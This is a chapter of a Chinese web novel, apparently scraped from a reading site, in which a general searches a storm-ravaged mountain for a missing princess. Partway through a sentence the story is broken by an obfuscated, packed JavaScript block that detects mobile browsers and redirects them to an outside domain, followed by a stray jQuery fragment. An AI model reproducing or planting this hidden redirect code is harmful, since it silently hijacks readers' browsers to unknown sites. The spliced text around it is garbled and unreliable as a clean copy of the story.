27.27

作品:《咸鱼公主靠毒术杀疯了

    府内兵马调集的动静,到底还是惊醒了浅眠的温神医。


    一问之下,得知是公主在荷山遇险下落不明,老神医脸色骤变。


    他立刻唤来明月,沉声叮嘱:“速将此事递进宫中!搜寻公主,人多才好办事。”更重要的是,需得师出有名。


    他看着庭院中迅速集结的崔府亲兵,眉头紧锁,转身回屋取了两个小巧的瓷瓶,塞到明月手中。


    “白色这瓶,务必交到将军手中,能暂缓他旧伤发作。另一瓶是救命的药,或许……能用上。”他语气沉重,这两个人,真是一个比一个不让人省心。


    他望向皇宫方向,目光深邃——消息传入宫中,陛下至少会派出一支御林军。


    明月将药瓶仔细揣入怀中,“多谢神医,明月明白!”旋即转身,身影迅速没入夜色,朝着皇宫方向疾驰而去。


    ……


    崔逢青一路快马加鞭,心中如同燃着一团火。然而越近荷山,雨势越是狂暴,豆大的雨点砸在盔甲上噼啪作响,几乎织成一道密不透风的水幕,让人难以辨清前路。


    坐下骏马不安地嘶鸣,在原地打转,不肯再前。


    崔逢青心知不能再勉强,翻身下马,将马缰绳牢牢拴在一棵还算稳固的大树下。他抬头望去,天色墨黑,不见星月,唯有滂沱雨声充斥天地,如同奏响的哀歌。


    他摸索着寻来几根相对干燥的树枝,用火折子费力点燃。微弱的火光照亮方寸之地,勉强能看清自己已接近荷山脚下的雨崩村。


    不能再等了,他添了些木柴,紧紧握住这微弱的光源,再次上马,直奔村中。


    “咚咚咚!”


    崔逢青敲响了村口一户农家的木门,他手中的火把早已被雨水浇熄。


    接连敲了三次,屋内才传来窸窣的动静。过了好一会儿,一个苍老的声音隔着门板警惕地问道:“谁啊?这大半夜的……”


    崔逢青深吸一口气,尽量让声音听起来平和:“老人家,打扰了。我本想进山,奈何雨太大,火把点不着,想向您讨些火油应急。”


    门内沉默片刻,柴门“吱呀”一声拉开一条缝。一位提着油灯的老者探出头,昏黄的灯光映照出崔逢青被雨水浸透、略显苍白的脸。


    他试图挤出一个和善的笑容,奈何心急如焚,嘴角的弧度显得格外僵硬。


    老者提着油灯,上下仔细打量了他一番,那目光似乎能穿透湿透的衣衫,看到他内里的焦灼。最终,老者还是拉开了门,“进来吧。”


    屋内简陋却干燥。老者给崔逢青端了碗热水,示意他坐下烤火,自己则蹲到灶前生火。不一会儿,暖意驱散了些许寒意。


    “你也要进荷山?”老者率先开口。


    崔逢青心神一紧,“是。最近……进山的人很多?”


    老者摇摇头,“昨儿个倒是热闹,好几拨人分批进去哩。也不知那山上有什么宝贝。”


    他顿了顿,浑浊的眼睛扫过崔逢青腰间的佩剑和一身难掩的悍厉之气,


    “不过,他们跟你可不一样。有一行四五人,凶神恶煞的,还抬着卷草席,急匆匆就往里冲。村里娃娃好奇多看了两眼,还被他们狠狠呵斥了一顿。”


    “你坐着暖暖,我去找找火油。”老者说着,转身进了里屋,翻找的窸窣声和低声的嘀咕传来,“放哪儿去了……就剩这些了……”


    崔逢青盯着跳跃的火焰,心中疑云与担忧交织。草席……是处理尸首常用的东西。难道……


    这时,屋外的雨声似乎小了一些。


    老者也拿着一个陶罐走了出来,“家里就剩这些了,我留了点底子,剩下的你都拿去。”


    他将陶罐递给崔逢青,又补充道,“不过,听说山里发了山洪,你可要当心。要是这边上不去,对角山下好像还有条老猎户走的小路,或许能试试。”


    崔逢青接过尚带余温的陶罐,看着老者将剩下那点火油仔细收好,自始至终未曾提及银钱。


    他一时有些怔住。在这权力倾轧、利益至上的长安城外,竟有人不计回报,仅凭一份朴素的善意,给予他这样纯粹的帮助。


    他回过神来,老者已将几根捆扎结实、耐烧的柴棍做成的火把递到他手上,“这个耐烧,滴上火油,够你撑一阵子了。”


    一股暖流悄然划过心间。崔逢青默默将一锭银子压在碗底,起身郑重道:“多谢老人家。”


    老者只是摆摆手,目送他高大的身影再次投入雨幕。


    崔逢青翻身上马,最后看了一眼那在渐歇风雨中透出微弱灯火的小屋,一扯缰绳,再度冲向荷山。


    然而,荷山入口处的情形比老者描述的更为骇人。


    山体大面积塌陷,泥石流裹挟着断木残枝,形成一片巨大的、泥泞的斜坡,一眼望不到头,根本找不到落脚之处。座下骏马惊恐地嘶鸣,任凭如何驱使,再也不肯向前半步。


    崔逢青跳下马,将重新点燃的火把凑近。只见眼前一片狼藉,雨水还在不断冲刷着松动的泥沙。他心急如焚,沿着塌陷区域边缘探查,试图寻找突破口。


    就在这时,远处出现了一片移动的火光。很快,明月带着崔府亲兵赶到,同行的果然还有一队御林军,领队的正是与他有过数面之缘的高深将军。


    高深下马,抱拳行礼:“崔将军。”


    “高将军,有劳了。”崔逢青与明月交换了一个眼神,心下明了。


    “风雨稍歇,立刻开路,上山!”崔逢青下令,声音带着不容置疑的决绝。


    府兵与御林军立刻行动起来,试图清理出一条上山的路径。然而,塌方的泥沙过于湿滑松软,往往下面刚清开一点,上方的泥石立刻倾泻而下,如同流动的陷阱,阻之不绝。


    高深观察片刻,眉头紧锁:“崔将军,情况不妙。附近可有其他路径?”


    “东面或许有路。”


    “东面?”高深面色凝重,“听闻公主是在西面落崖,如今西面道路完全被阻,若从东面绕行,耗时太久……”


    崔逢青翻身上马,当机立断:“我从东面上山,高将军,请你继续带人在此挖掘,双管齐下。若我顺利上山,发射信号联络。”


    “好。”多一条路,多一分希望。高深立刻应下。


    ……


    晨光刺破厚重的云层,勉强照亮了饱受摧残的山林。


    崔逢青沿着东面那条几乎被杂草藤蔓覆盖的小路,终于艰难地登上了山顶。他一路搜寻,除了被风雨打落的枝叶和惊惶的鸟兽,再无任何发现。


    时间每流逝一刻,他心中的焦灼便增添一分。手中的火把早已燃尽熄灭,他强迫自己冷静,借着熹微的晨光辨明方向,快速向西面奔去。


    刚往下走了没几步,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478402|179669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的目光猛地定住了——


    一截藕色的布料,半埋在湿泞的泥土中,格外刺眼。


    崔逢青的瞳孔骤然收缩,前日浮梦出门时所穿,正是这个颜色的衣裙。


    巨大的恐惧瞬间攫住了他的心脏,他来不及细想,几乎是扑跪在地,双手颤抖地捧起那截布料。


    指尖传来的湿冷触感让他浑身一僵,随即,像是疯了一样,他用那双本该执掌千军万马、此刻却沾满污泥的手,开始疯狂地挖掘!


    泥土混着碎石,指甲翻起,渗出血丝,他却浑然不觉,只是机械地、绝望地向下刨着,越挖越快,越挖越急!


    终于,一截毫无生气、苍白浮肿的手臂暴露在空气中。


    崔逢青动作猛地停住,像是被抽干了所有力气,瘫坐在地,紧闭双眼,胸口剧烈起伏,几乎无法呼吸。


    “不是……不是她……”他喃喃自语,声音沙哑得不成样子。


    随后赶到的御林军和高深,恰好目睹了这一幕。


    看着平日里冷峻如山、喜怒不形于色的骠骑将军此刻失魂落魄的模样,高深心中慨叹,往日彩楼之下的种种传闻,果然皆是虚言。公主于他而言,怕是想着这天上的月亮。


    士兵们迅速上前,小心地将那具女尸完全挖出。有人辨认出,那身服饰确实是宫中宫女所有。


    “高将军,后续事宜,拜托了。”崔逢青的声音异常低沉,他撑着膝盖,勉强站起身,脸色苍白得吓人。他还要继续找,必须继续找!


    他迈步欲继续向下搜寻,却被明月拦住。


    “将军,”明月声音沉重,“西面……属下带人从上到下已仔细清理过一遍,并未……并未发现公主踪迹。”


    崔逢青脚步一顿,是啊,他们是从不同方向上山的。一阵强烈的眩晕感袭来,他晃了晃脑袋,试图驱散那片因疲惫、旧伤和巨大情绪波动带来的混沌。


    “既如此……分头从南、北两侧下山,继续找,扩大范围。”他咬牙下令,不肯放弃任何一丝微弱的希望。


    然而,直到日头升高,搜遍了附近可能区域,除了那具宫女的尸体,再无其他发现。


    希望如同风中残烛,一点点熄灭。


    连日奔波、旧伤隐隐作痛、加上心力交瘁,崔逢青只觉得眼前阵阵发黑,强撑着的身体终于到了极限。他闭上眼,试图缓解那几乎要撕裂头颅的眩晕。


    再次睁开时,视野里竟是一片刺目的白光,耳边似乎听到明月焦急的呼喊:“将军!”


    恍惚之中,他仿佛看到了一处破庙的轮廓。


    有人架着他,深一脚浅一脚地朝着那个方向挪动。


    他努力聚焦视线,再次睁开沉重的眼皮,模糊的景象逐渐清晰——破败的庙门内,一身尘土的年轻人正一脸警惕地盯着他们。


    而他的目光,越过那人,落在了角落里——


    那个蜷缩在地、浑身狼狈却无比熟悉的身影,不正是公主殿下吗?


    崔逢青怔在原地,几乎以为自己因过度思念和疲惫产生了幻觉。他用力眨了眨眼,再次定睛看去——


    她还在那里。


    一瞬间,所有的焦虑、恐惧、绝望,都被这失而复得的巨大冲击所淹没。支撑着他的那根弦,终于绷断。


    他身体一晃,在意识彻底沉入黑暗之前,目光依旧牢牢锁在那个身影之上。